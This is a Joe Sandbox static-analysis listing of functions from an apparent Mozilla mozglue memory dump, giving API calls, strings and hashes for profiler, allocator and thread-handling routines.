GetCurrentThreadId.KERNEL32 ref: 6C60F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F716

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

Part of subcall function 6C5CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C60F739
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F746
GetCurrentThreadId.KERNEL32 ref: 6C60F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C64385B,00000002,?,?,?,?,?), ref: 6C60F829
free.MOZGLUE(?,?,00000000,?), ref: 6C60F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C60F866
free.MOZGLUE(?), ref: 6C60FA0C

Part of subcall function 6C5D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D5E8C
Part of subcall function 6C5D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5E9D
Part of subcall function 6C5D5E60: GetCurrentThreadId.KERNEL32 ref: 6C5D5EAB
Part of subcall function 6C5D5E60: GetCurrentThreadId.KERNEL32 ref: 6C5D5EB8
Part of subcall function 6C5D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5ECF
Part of subcall function 6C5D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5D5F27
Part of subcall function 6C5D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5D5F47
Part of subcall function 6C5D5E60: GetCurrentProcess.KERNEL32 ref: 6C5D5F53
Part of subcall function 6C5D5E60: GetCurrentThread.KERNEL32 ref: 6C5D5F5C
Part of subcall function 6C5D5E60: GetCurrentProcess.KERNEL32 ref: 6C5D5F66
Part of subcall function 6C5D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5D5F7E

free.MOZGLUE(?), ref: 6C60F9C5
free.MOZGLUE(?), ref: 6C60F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C60F9A6
" attempted to re-register as ", xrefs: 6C60F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C60F71F
Thread , xrefs: 6C60F789

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 675c8a5a4ac87212e2fa00d4d11fc8287f8480b91e00a571cdadf3b2374ce6c9
Instruction ID: 385152cc5b3dd8d2c2cef2ef1a01191dfae90c6b9163012afbf6e4b40f5fb87f
Opcode Fuzzy Hash: 675c8a5a4ac87212e2fa00d4d11fc8287f8480b91e00a571cdadf3b2374ce6c9
Instruction Fuzzy Hash: 9781E171604600DFDB14EF25C880AAEB7A5EFC5308F44856DE849ABB51EB309C49CB9B

Function 6C60EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60EE60
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EE6D
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60EEA5
CloseHandle.KERNEL32(?), ref: 6C60EEB4
free.MOZGLUE(00000000), ref: 6C60EEBB
GetCurrentThreadId.KERNEL32 ref: 6C60EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60EECF

Part of subcall function 6C60DE60: GetCurrentThreadId.KERNEL32 ref: 6C60DE73
Part of subcall function 6C60DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5D4A68), ref: 6C60DE7B
Part of subcall function 6C60DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5D4A68), ref: 6C60DEB8
Part of subcall function 6C60DE60: free.MOZGLUE(00000000,?,6C5D4A68), ref: 6C60DEFE
Part of subcall function 6C60DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C60DF38

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C60EF1E
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EF2B
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EF59
GetCurrentThreadId.KERNEL32 ref: 6C60EFB0
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EFBD
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EFE1
GetCurrentThreadId.KERNEL32 ref: 6C60EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F000

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C60F02F

Part of subcall function 6C60F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C60F09B
Part of subcall function 6C60F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C60F0AC
Part of subcall function 6C60F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C60F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C60EED7
[I %d/%d] profiler_pause, xrefs: 6C60F008

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8743feaf5845934432dc830479727646c35b72c302566c705b3686bfe2358d20
Instruction ID: 80eb5734095e1c34a1ce3eecd86487ab48b66f74d9bf9d64d7b9062be78f1f13
Opcode Fuzzy Hash: 8743feaf5845934432dc830479727646c35b72c302566c705b3686bfe2358d20
Instruction Fuzzy Hash: B35103357006208FDB087B66D988B9937B4EF8736CF10C525E91593B42DB704805CBAF

Function 6C5FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C64E804), ref: 6C5FD047
GetSystemInfo.KERNEL32(?), ref: 6C5FD093
__Init_thread_footer.LIBCMT ref: 6C5FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C64E810,00000040), ref: 6C5FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E7B8,00001388), ref: 6C5FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E744,00001388), ref: 6C5FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E784,00001388), ref: 6C5FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E7DC,00001388), ref: 6C5FD1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C5FD322
<jemalloc>, xrefs: 6C5FD268, 6C5FD311
MALLOC_OPTIONS, xrefs: 6C5FD0CB
MOZ_CRASH(), xrefs: 6C5FD277
Compile-time page size does not divide the runtime one., xrefs: 6C5FD26D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 78a8f21c153d2503591c68942cacbef886cf3629eede660b9fa3c03be35dd55a
Instruction ID: 24b8a8ef589c1d22865ff85e466322445131f3187200286f3ed67fc8351e73a7
Opcode Fuzzy Hash: 78a8f21c153d2503591c68942cacbef886cf3629eede660b9fa3c03be35dd55a
Instruction Fuzzy Hash: 9381C070B012009FEB08EF6ACD84B69B7B9EB4671CF10C529E92197B80D7759806CFD9

Function 6C5D7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5D801D

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5D808D

Part of subcall function 6C5DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D8199

Strings

0>`l, xrefs: 6C5D811E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>`l
API String ID: 2721933968-3731073523
Opcode ID: 0b77dbaed1e99c2280d4332eec41f4a80e1ee3337ea858a67e6709594610bb4b
Instruction ID: 6bc20a85b92fdb5b3ffa27fe09350757d48cc6bd978fc32486bca48d5f8f0029
Opcode Fuzzy Hash: 0b77dbaed1e99c2280d4332eec41f4a80e1ee3337ea858a67e6709594610bb4b
Instruction Fuzzy Hash: 5951A6B1E00214ABDF00DFA9DC849AFB7B9EF89324F151125E815E7740E730AD088BA9

Function 6C5D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5E9D

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5D6017

Part of subcall function 6C5C4310: moz_xmalloc.MOZGLUE(00000010,?,6C5C42D2), ref: 6C5C436A
Part of subcall function 6C5C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5C42D2), ref: 6C5C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5D5F47
GetCurrentProcess.KERNEL32 ref: 6C5D5F53
GetCurrentThread.KERNEL32 ref: 6C5D5F5C
GetCurrentProcess.KERNEL32 ref: 6C5D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5D5F27

Part of subcall function 6C5DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D5E8C

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D60CC

Strings

GeckoMain, xrefs: 6C5D5ECE, 6C5D6015

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: c6550384d16417790800d4f809879dab3332305009193c151b9fe93547c837ef
Instruction ID: 353d1629518194f426910a9c0bf079783b86739f0d8d781b3e1f45c107566613
Opcode Fuzzy Hash: c6550384d16417790800d4f809879dab3332305009193c151b9fe93547c837ef
Instruction Fuzzy Hash: 5271A1B0505740DFD700DF29C880A6ABBF0FF8A308F54896DE5868BB52DB31E949CB56

Function 6C5D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5C3217
Part of subcall function 6C5C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5C3236
Part of subcall function 6C5C31C0: FreeLibrary.KERNEL32 ref: 6C5C324B
Part of subcall function 6C5C31C0: __Init_thread_footer.LIBCMT ref: 6C5C3260
Part of subcall function 6C5C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5C327F
Part of subcall function 6C5C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C328E
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5C32AB
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5C32D1
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5C32E5
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5D9675
__Init_thread_footer.LIBCMT ref: 6C5D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5D9707
__Init_thread_footer.LIBCMT ref: 6C5D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5D97B7
FreeLibrary.KERNEL32 ref: 6C5D97D0
FreeLibrary.KERNEL32 ref: 6C5D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9824

Strings

MapViewOfFileNuma2, xrefs: 6C5D97B1
NtMapViewOfSection, xrefs: 6C5D9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5D9670
ntdll.dll, xrefs: 6C5D96E3

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: b27c78d7f61c0cb71f60051aaf3d2ffdd02d563bbcc95cca151e392979ff79d8
Instruction ID: 0063456dc2f848cea51bc35ab1b081df3ca88d651fa2c04067c69784e20cd4e4
Opcode Fuzzy Hash: b27c78d7f61c0cb71f60051aaf3d2ffdd02d563bbcc95cca151e392979ff79d8
Instruction Fuzzy Hash: 9061C471600301DBDF00EF6AEDE4A9A7BB1EB8B318F11C519E91597740DB34A854CB9A

Function 6C626660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C64F618), ref: 6C626694
GetThreadId.KERNEL32(?), ref: 6C6266B1
GetCurrentThreadId.KERNEL32 ref: 6C6266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6266E1
EnterCriticalSection.KERNEL32(6C64F618), ref: 6C626734
GetCurrentProcess.KERNEL32 ref: 6C62673A
LeaveCriticalSection.KERNEL32(6C64F618), ref: 6C62676C
GetCurrentThread.KERNEL32 ref: 6C6267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C626868
RtlCaptureContext.NTDLL ref: 6C62687F

Strings

WalkStack64, xrefs: 6C626890

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6212cb2a45e7b3b4cebb4fc826fc2b2f9e541f5443bdc698bbf3f8317ec2b8eb
Instruction ID: 3e0c9fe95e76e1ac90248c9836380137ecf83fa28a5f41a17d2661b618f395ff
Opcode Fuzzy Hash: 6212cb2a45e7b3b4cebb4fc826fc2b2f9e541f5443bdc698bbf3f8317ec2b8eb
Instruction Fuzzy Hash: 9C51AC71A09301AFD711DF25C884A9EBBF4FF89718F00892DF99987640D774E9098F9A

Function 6C60DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60DE73
GetCurrentThreadId.KERNEL32 ref: 6C60DF7D
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60DF8A
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60DFC9
GetCurrentThreadId.KERNEL32 ref: 6C60DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5D4A68), ref: 6C60DE7B

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5D4A68), ref: 6C60DEB8
free.MOZGLUE(00000000,?,6C5D4A68), ref: 6C60DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C60DF38

Strings

<none>, xrefs: 6C60DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C60DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C60E00E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 01ce6b973efd578bcb97868efe23b3ec4b430a0102ff5f91c1b8f8727e9e58de
Instruction ID: 8953bf94c4f320d4c5bf675bb3341dad6062472df5f9664b7d98ae5f79c95dd4
Opcode Fuzzy Hash: 01ce6b973efd578bcb97868efe23b3ec4b430a0102ff5f91c1b8f8727e9e58de
Instruction Fuzzy Hash: 694128317015109BDB18AF66D988BAE7776EF8631CF14C115E909A7B02DB709806CBEE

Function 6C61D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D918
GetCurrentThreadId.KERNEL32 ref: 6C61D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D970
GetCurrentThreadId.KERNEL32 ref: 6C61D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D9CF
